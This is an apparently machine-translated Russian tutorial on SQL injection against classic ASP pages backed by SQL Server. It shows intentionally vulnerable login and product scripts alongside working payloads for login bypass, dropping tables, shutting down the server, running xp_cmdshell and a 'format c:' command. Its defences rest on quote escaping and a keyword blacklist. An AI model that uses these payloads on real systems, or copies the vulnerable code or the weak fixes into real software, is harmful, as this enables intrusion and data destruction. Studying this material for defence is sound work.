Статьи

Атаки SQL-инъекций — вы в безопасности?

База данных является сердцем большинства веб-приложений: она хранит данные, необходимые для «выживания» веб-сайтов и приложений. Он хранит учетные данные пользователя и конфиденциальную финансовую информацию. Он хранит настройки, счета, платежи, данные инвентаризации и т. Д. Именно благодаря комбинации базы данных и языка веб-сценариев мы, как разработчики, можем создавать сайты, которые радуют клиентов, оплачивают счета и, что самое важное, управляют нашим бизнесом.

Но что происходит, когда вы понимаете, что ваши важные данные могут быть небезопасными? Что происходит, когда вы понимаете, что только что обнаружена новая ошибка безопасности? Скорее всего, вы либо исправите его, либо обновите сервер базы данных до более поздней версии без ошибок. Недостатки безопасности и исправления постоянно присутствуют как в базах данных, так и в языках программирования, но я уверен, что 9 из 10 из вас никогда не слышали о атаках с использованием SQL-инъекций …

В этой статье я попытаюсь пролить свет на эту недостаточно документированную атаку, объясняя, что такое атака с использованием SQL-инъекций и как вы можете предотвратить ее в вашей компании. К концу этой статьи вы сможете определить ситуации, когда атака с помощью SQL-инъекций может позволить неавторизованным лицам проникнуть в вашу систему, и вы узнаете, как исправить существующий код для предотвращения атаки с использованием SQL-инъекций.

Что такое атака с использованием SQL-инъекций?

Как вы, возможно, знаете, SQL означает язык структурированных запросов. Он поставляется на разных диалектах, большинство из которых основаны на стандарте ANSI SQL-92. Запрос SQL содержит одну или несколько команд SQL, таких как SELECT , UPDATE или INSERT . Для запросов SELECT каждый запрос обычно имеет предложение, по которому он возвращает данные, например:

 SELECT * FROM Users WHERE userName = 'justin'; 

Предложение в SQL-запросе выше WHERE username = 'justin', означающее, что мы хотим, чтобы только строки из таблицы Users возвращались, где поле userName равно строковому значению Justin.

Именно эти типы запросов делают язык SQL таким популярным и гибким … это также делает его открытым для атак с использованием SQL-инъекций. Как следует из названия, атака SQL-инъекцией «внедряет» или манипулирует кодом SQL. Добавив неожиданный SQL в запрос, можно управлять базой данных многими непредвиденными способами.

Один из самых популярных способов проверки пользователя на веб-сайте — предоставить им HTML-форму, с помощью которой они могут ввести свое имя пользователя и пароль. Давайте предположим, что у нас есть следующая простая форма HTML:

 <form name="frmLogin" action="login.asp" method="post">  Username: <input type="text" name="userName">  Password: <input type="text" name="password">  <input type="submit">  </form> 

Когда форма отправляется, содержимое полей имени пользователя и пароля передается в сценарий login.asp и становится доступным этому сценарию через коллекцию Request.Form . Самый простой способ проверить этого пользователя — создать запрос SQL, а затем проверить этот запрос по базе данных, чтобы увидеть, существует ли этот пользователь. Мы могли бы создать скрипт login.asp следующим образом:

 <%   dim userName, password, query  dim conn, rS   userName = Request.Form("userName")  password = Request.Form("password")   set conn = server.createObject("ADODB.Connection")  set rs = server.createObject("ADODB.Recordset")   query = "select count(*) from users where userName='" &  userName & "' and userPass='" & password & "'"   conn.Open "Provider=SQLOLEDB; Data Source=(local);  Initial Catalog=myDB; User Id=sa; Password="  rs.activeConnection = conn  rs.open query   if not rs.eof then  response.write "Logged In"  else  response.write "Bad Credentials"  end if   %> 

В приведенном выше примере пользователь либо видит «Logged In», если его учетные данные соответствуют записи в базе данных, либо «Bad Credentials», если они этого не сделали. Прежде чем мы продолжим, давайте создадим базу данных, которую мы запросили в примере кода.

Давайте также создадим таблицу пользователей с несколькими фиктивными записями:

 create database myDB  go   use myDB  go   create table users  (  userId int identity(1,1) not null,  userName varchar(50) not null,  userPass varchar(20) not null  )   insert into users(userName, userPass) values('john', 'doe')  insert into users(userName, userPass) values('admin', 'wwz04ff')  insert into users(userName, userPass) values('fsmith', 'mypassword') 

Поэтому, если я введу имя пользователя john и пароль doe, то мне будет представлен текст «Вход в систему». Запрос будет выглядеть примерно так:

 select count(*) from users where userName='john' and userPass='doe' 

В этом запросе нет ничего небезопасного или опасного … так? Может быть, не на первый взгляд, но что делать, если я ввел имя пользователя john и пароль ‘или 1 = 1 —

Результирующий запрос теперь будет выглядеть так:

 select count(*) from users where userName='john' and userPass=''  or 1=1 --' 

В приведенном выше примере я выделил курсивом имя пользователя и пароль, чтобы их было немного легче прочитать, но в основном происходит то, что запрос теперь проверяет только любого пользователя с полем имени пользователя john. Вместо проверки на соответствующий пароль теперь он проверяет пустой пароль или условное уравнение 1 = 1. Это означает, что если поле пароля пустое ИЛИ 1 равно 1 (что оно и делает), то в таблице пользователей найдена правильная строка. Обратите внимание, как последняя цитата закомментирована однострочным комментарием (-). Это мешает ASP возвращать ошибку о любых закрытых предложениях.

Таким образом, с помощью скрипта login.asp, который мы создали выше, будет возвращена одна строка, и будет отображен текст «Вход в систему». Мы могли бы пойти дальше, сделав то же самое с полем имени пользователя, например так:

 Username: ' or 1=1 ---  Password: [Empty] 

Это выполнит следующий запрос к таблице пользователей:

 select count(*) from users where userName='' or 1=1 --' and userPass='' 

Приведенный выше запрос теперь возвращает количество всех строк в пользовательской таблице. Это прекрасный пример атаки SQL-инъекцией: добавление кода, который манипулирует содержимым запроса для выполнения нежелательного результата.

Еще один популярный способ проверки пользователя по таблице логинов — сравнить его данные с таблицей и извлечь действительное имя пользователя из базы данных, например:

  query = "select userName from users where userName='" &  userName & "' and userPass='" & password & "'"   conn.Open "Provider=SQLOLEDB; Data Source=(local);  Initial Catalog=myDB; User Id=sa; Password="  rs.activeConnection = conn  rs.open query   if not rs.eof then  response.write "Logged In As " & rs.fields(0).value  else  response.write "Bad Credentials"  end if 

Итак, если мы введем имя пользователя john и пароль doe, то нам будут представлены:

 Logged In As john 

Однако, если мы использовали следующие учетные данные для входа в систему:

 Username: ' or 1=1 ---  Password: [Anything] 

Тогда мы также войдем в систему как Джон, потому что строка, в которой в качестве имени пользователя указано «Джон», стоит первой в списке на основе запросов на вставку, которые мы видели ранее:

 insert into users(userName, userPass) values('john', 'doe')  insert into users(userName, userPass) values('admin', 'wwz04ff')  insert into users(userName, userPass) values('fsmith', 'mypassword') 

insert into users(userName, userPass) values('john', 'doe')  insert into users(userName, userPass) values('admin', 'wwz04ff')  insert into users(userName, userPass) values('fsmith', 'mypassword') 

Примеры инъекционных атак

Принудительный вход в систему с помощью HTML-формы, подобной той, что мы только что видели, является типичным примером атаки SQL-инъекцией, и мы рассмотрим способы устранения этих типов атак чуть позже.

Но сначала я хочу взглянуть на некоторые примеры выполнения атак с использованием SQL-инъекций. Прежде всего, давайте придерживаться нашего примера формы входа в систему, которая содержит поле имени пользователя и пароля.

Пример № 1

Microsoft SQL Server имеет свой собственный диалект SQL, который называется Transact SQL, или сокращенно TSQL. Мы можем использовать возможности TSQL несколькими способами, чтобы показать, как работают атаки с использованием SQL-инъекций. Рассмотрим следующий запрос, основанный на таблице пользователей, которую мы создали на последней странице:

 select userName from users where userName='' having 1=1 

Если вы любитель SQL, вы, несомненно, будете знать, что этот запрос вызывает ошибку. Мы можем легко заставить нашу страницу login.asp запрашивать нашу базу данных с помощью этого запроса, используя эти учетные данные для входа в систему:

 Username: ' having 1=1 ---   Password: [Anything] 

Когда я нажимаю кнопку отправки, чтобы начать процесс входа в систему, запрос SQL заставляет ASP выдавать следующую ошибку браузеру:

 Microsoft OLE DB Provider for SQL Server (0x80040E14) 

Столбец users.userName недопустим в списке выбора, поскольку он не содержится в статистической функции и отсутствует предложение GROUP BY .

 /login.asp, line 16 

Ну ну. Похоже, что это сообщение об ошибке теперь сообщает неавторизованному пользователю имя одного поля из базы данных, с которым мы пытались проверить учетные данные для входа: users.userName . Используя имя этого поля, теперь мы можем использовать ключевое слово LIKE SQL Server для входа в систему со следующими учетными данными:

 Username: ' or users.userName like 'a%' ---  Password: [Anything] 

Еще раз, это выполняет введенный SQL-запрос к нашей таблице пользователей:

 select userName from users where userName='' or  users.userName like 'a%' --' and userPass='' 

Когда мы создали таблицу пользователей, мы также создали пользователя, чье поле userName было admin, а поле userPass было wwz04ff. Вход в систему с использованием имени пользователя и пароля, показанных выше, использует ключевое слово like SQL для получения имени пользователя. Запрос захватывает поле userName первой строки, чье поле userName начинается с a, в данном случае это admin:

 Logged In As admin 

Пример № 2

SQL Server, помимо других баз данных, разделяет запросы точкой с запятой. Использование точки с запятой позволяет отправлять несколько запросов в виде одного пакета и выполнять их последовательно, например:

 select 1; select 1+2; select 1+3; 

... вернет три набора записей. Первый будет содержать значение 1, второй - значение 3, а третий - значение 4 и т. Д. Итак, если мы вошли в систему со следующими учетными данными:

 Username: ' or 1=1; drop table users; --  Password: [Anything] 

Тогда запрос будет выполнен в две части. Во-первых, он выбрал бы поле userName для всех строк в таблице пользователей. Во-вторых, это приведет к удалению таблицы пользователей, поэтому при следующем входе в систему мы увидим следующую ошибку:

 Microsoft OLE DB Provider for SQL Server (0x80040E37)  Invalid object name 'users'.  /login.asp, line 16 

Пример № 3

Последний пример, относящийся к нашей форме входа, который мы рассмотрим, - это выполнение специфических команд TSQL и расширенных хранимых процедур. Многие веб-сайты используют системную учетную запись по умолчанию (sa) при входе в SQL Server из своих сценариев ASP или приложений. По умолчанию этот пользователь имеет доступ ко всем командам и может удалять, переименовывать и добавлять базы данных, таблицы, триггеры и многое другое.

Одной из самых мощных команд SQL Server является SHUTDOWN WITH NOWAIT , которая приводит к завершению работы SQL Server и немедленной остановке службы Windows. Чтобы перезапустить SQL-сервер после выполнения этой команды, вам нужно использовать диспетчер служб SQL или другой метод перезапуска SQL-сервера.

Еще раз, эту команду можно использовать в нашем примере входа в систему:

 Username: '; shutdown with nowait; --  Password: [Anything] 

Это заставит наш скрипт login.asp выполнить следующий запрос:

 select userName from users where userName='';  shutdown with nowait; --' and userPass='' 

Если пользователь настроен как учетная запись sa по умолчанию или у пользователя есть необходимые привилегии, SQL-сервер завершит работу и потребует перезагрузки, прежде чем он снова заработает.

SQL Server также включает несколько расширенных хранимых процедур, которые в основном представляют собой специальные библиотеки C ++ DLL, которые могут содержать мощный код C / C ++ для управления сервером, чтения каталогов и реестров, удаления файлов, запуска командной строки и т. Д. Все расширенные хранимые процедуры существуют в xp_ база данных и с префиксом « xp_ ».

Существует несколько расширенных хранимых процедур, которые могут привести к необратимому повреждению системы. Мы можем выполнить расширенную хранимую процедуру, используя нашу форму входа с введенной командой в качестве имени пользователя, например:

 Username: '; exec master..xp_xxx; --  Password: [Anything] 

Все, что нам нужно сделать, это выбрать соответствующую расширенную хранимую процедуру и заменить xp_xxx на ее имя в приведенном выше примере. Например, если IIS был установлен на том же компьютере, что и SQL Server (что типично для небольших установок с одним или двумя пользователями), мы могли бы перезапустить его, используя расширенную хранимую процедуру xp_cmdshell (которая выполняет командную строку в качестве операционной системы). команда) и сброс IIS. Все, что нам нужно сделать, это ввести следующие учетные данные пользователя на нашей странице getlogin.asp:

 Username: '; exec master..xp_cmdshell 'iisreset'; --  Password: [Anything] 

Это отправит следующий запрос к SQL Server:

 select userName from users where userName='';  exec master..xp_cmdshell 'iisreset'; --' and userPass='' 

Я уверен, что вы согласитесь, что это может вызвать серьезные проблемы, а правильные команды могут привести к сбоям в работе всего сайта.

Пример № 4

Хорошо, пора отойти от просмотра скрипта login.asp и перейти к другому общепринятому методу для выполнения атаки SQL-инъекцией.

Сколько раз вы посещали веб-сайт, который продает ваши любимые вещи и видел такой URL:

 www.mysite.com/products.asp?productId=2 

Очевидно, что 2 - это идентификатор продукта, и многие сайты просто строят запрос вокруг переменной строки запроса productId, например:

 Select prodName from products where id = 2 

Прежде чем мы продолжим, давайте предположим, что на нашем сервере SQL настроены следующие таблицы и строки:

 create table products  (  id int identity(1,1) not null,  prodName varchar(50) not null,  )   insert into products(prodName) values('Pink Hoola Hoop')  insert into products(prodName) values('Green Soccer Ball')  insert into products(prodName) values('Orange Rocking Chair') 

Предположим также, что мы создали следующий сценарий ASP и назвали его products.asp:

 <%   dim prodId  prodId = Request.QueryString("productId")   set conn = server.createObject("ADODB.Connection")  set rs = server.createObject("ADODB.Recordset")   query = "select prodName from products where id = " & prodId   conn.Open "Provider=SQLOLEDB; Data Source=(local);  Initial Catalog=myDB; User Id=sa; Password="  rs.activeConnection = conn  rs.open query   if not rs.eof then  response.write "Got product " & rs.fields("prodName").value  else  response.write "No product found"  end if   %> 

Так что, если мы посетили products.asp в браузере со следующим URL:

 http://localhost/products.asp?productId=1 

... мы увидим следующую строку текста в нашем браузере:

 Got product Pink Hoola Hoop 

Обратите внимание, что на этот раз product.asp возвращает поле из набора записей на основе имени поля:

 response.write "Got product " & rs.fields("prodName").value 

Хотя это может показаться более безопасным, но на самом деле это не так, и мы все еще можем манипулировать базой данных, как мы это делали в последних трех примерах. Также обратите внимание, что на этот раз WHERE запроса основано на числовом значении:

 query = "select prodName from products where id = " & prodId 

Для правильной работы страницы products.asp требуется только числовой идентификатор продукта, переданный в качестве переменной строки запроса productId. Однако обойти это не так уж и сложно. Рассмотрим следующий URL для products.asp:

 http://localhost/products.asp?productId=0%20or%201=1 

Каждый% 20 в URL представляет символ пробела в кодировке URL, поэтому URL действительно выглядит так:

 http://localhost/products.asp?productId=0 or 1=1 

При использовании вместе с products.asp запрос выглядит так:

 select prodName from products where id = 0 or 1=1 

Используя немного ноу-хау и некоторую кодировку URL, мы так же легко можем извлечь название поля продуктов из таблицы продуктов:

 http://localhost/products.asp?productId=0%20having%201=1 

Это приведет к следующей ошибке в браузере:

 Microsoft OLE DB Provider for SQL Server (0x80040E14)   Column 'products.prodName' is invalid in the select  list because it is not contained in an aggregate  function and there is no GROUP BY clause.   /products.asp, line 13 

Теперь мы можем взять имя поля products ( products.prodName ) и вызвать следующий URL в браузере:

 http://localhost/products.asp?productId=0;insert%20into%20products  (prodName)%20values(left(@@version,50)) 

Вот запрос без URL-кодированных пробелов:

 http://localhost/products.asp?productId=0;insert into  products(prodName) values(left(@@version,50)) 

По сути, он возвращает «Продукт не найден», однако он также выполняет запрос INSERT для таблицы продуктов, добавляя первые 50 символов переменной @@ version сервера SQL (которая содержит сведения о версии, сборке и т. Д. SQL Server) в виде Новая запись в таблице продуктов.

В реальной ситуации вам, очевидно, придется использовать таблицу продуктов больше, чем эта, поскольку она будет содержать десятки других полей, однако методы останутся прежними.

Чтобы перейти к версии, теперь достаточно просто вызвать страницу products.asp со значением последней записи в таблице products, например:

 http://localhost/products.asp?productId=(select%20max(id)  %20from%20products) 

Этот запрос выполняет захват идентификатора последней строки, добавленной в таблицу продуктов, с помощью функции MAX сервера SQL. В результате выдается новая строка, содержащая сведения о версии сервера SQL:

 Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86) 

Этот метод впрыска может быть использован для выполнения многочисленных задач. Однако целью этой статьи было дать советы о том, как предотвратить атаки с использованием SQL-инъекций, что мы и рассмотрим далее.

Предотвращение атак SQL-инъекций

Если вы разрабатываете свои сценарии и приложения с осторожностью, атаки SQL-инъекций можно избежать в большинстве случаев. Мы, как разработчики, можем сделать ряд вещей, чтобы уменьшить подверженность нашего сайта атакам. Вот список (без определенного порядка) наших опций:

Ограничить доступ пользователя

Системная учетная запись по умолчанию (sa) для SQL Server 2000 никогда не должна использоваться из-за ее неограниченного характера. Вы должны всегда настраивать определенные учетные записи для определенных целей.

Например, если вы запускаете базу данных, которая позволяет пользователям вашего сайта просматривать и заказывать товары, вам следует настроить пользователя с именем webUser_public , у которого есть права SELECT для таблицы продуктов и права INSERT только для таблицы заказов.

Если вы не используете расширенные хранимые процедуры или у вас есть неиспользуемые триггеры, хранимые процедуры, пользовательские функции и т. Д., Затем удалите их или перенесите на изолированный сервер. Наиболее опасные атаки SQL-инъекций пытаются использовать несколько расширенных хранимых процедур, таких как xp_cmdshell и xp_grantlogin , поэтому, удаляя их, вы теоретически блокируете атаку до того, как она может произойти.

Escape Quotes

Как мы видели из рассмотренных выше примеров, большинство атак с использованием инъекций требуют, чтобы пользователь, заключивший одинарные кавычки, завершил выражение. Используя простую функцию замены и конвертируя все одинарные кавычки в две одинарные, вы значительно снижаете вероятность успеха атаки с использованием инъекции.

Используя ASP, просто создать общую функцию замены, которая будет автоматически обрабатывать одинарные кавычки, например:

 <%   function stripQuotes(strWords)  stripQuotes = replace(strWords, "'", "''")  end function   %> 

Теперь, если мы используем функцию stripQuotes в сочетании с нашим первым запросом, например, то это будет происходить из этого:

 select count(*) from users where userName='john' and  userPass='' or 1=1 --' 

...к этому:

 select count(*) from users where userName='john'' and  userPass=''' or 1=1 --' 

Это, по сути, останавливает атаку внедрения, поскольку предложение для запроса WHERE теперь требует, чтобы поля userName и userPass были действительными.

Удалить Culprit Персонажи / Последовательности персонажей

Как мы видели в этой статье, некоторые символы и последовательности символов, такие как ; , -- , select , insert и xp_ могут быть использованы для атаки SQL-инъекцией. Удалив эти символы и последовательности символов из пользовательского ввода перед построением запроса, мы можем еще больше снизить вероятность атаки с помощью инъекции.

Как и в случае решения с одинарными кавычками, нам просто нужна базовая функция для обработки всего этого за нас:

 <%   function killChars(strWords)   dim badChars  dim newChars   badChars = array("select", "drop", ";", "--", "insert",  "delete", "xp_")  newChars = strWords   for i = 0 to uBound(badChars)  newChars = replace(newChars, badChars(i), "")  next   killChars = newChars   end function   %> 

Использование stripQuotes в сочетании с killChars значительно исключает вероятность успеха любой атаки SQL-инъекцией. Так что, если у нас был запрос:

 select prodName from products where id=1; xp_cmdshell 'format  c: /q /yes '; drop database myDB; -- 

и запустил его через stripQuotes а затем killChars , в итоге это выглядело бы так:

 prodName from products where id=1 cmdshell ''format c:  /q /yes '' database myDB 

... который в принципе бесполезен и не вернет никаких записей из запроса.

Ограничить длину пользовательского ввода

Бесполезно иметь текстовое поле в форме, которое может принять 50 символов, если поле, с которым вы сравниваете его, может принять только 10. Сохраняя все текстовые поля и поля формы как можно короче, вы убираете количество символы, которые можно использовать для формулирования атаки SQL-инъекцией.

Если вы принимаете значение строки запроса для идентификатора продукта или чего-либо подобного, всегда используйте функцию для проверки, является ли значение на самом деле числовым, например, функцию IsNumeric() для ASP. Если значение не является числовым, то либо выдайте ошибку, либо перенаправьте пользователя на другую страницу, где он может выбрать продукт.

Кроме того, всегда старайтесь публиковать свои формы с атрибутом метода, установленным в POST , чтобы у осведомленных пользователей не было никаких идей - они могли бы, если бы увидели, что переменные формы прикреплены к концу URL-адреса.

Вывод

В этой статье мы увидели, что такое атака с использованием SQL-инъекций, а также как манипулировать формами и URL-адресами для получения результатов атаки.

Не всегда возможно защититься от всех типов атак с использованием SQL-инъекций, однако, мы надеемся, что теперь вы знаете о различных типах атак с использованием SQL-инъекций, а также запланировали способы борьбы с ними на ваших серверах.

Хотя в этой статье мы рассмотрели только атаки с использованием SQL-инъекций с помощью сервера Microsoft SQL, имейте в виду, что ни одна база данных не является безопасной: атаки с использованием SQL-инъекций могут также происходить на серверах баз данных MySQL и Oracle, в том числе.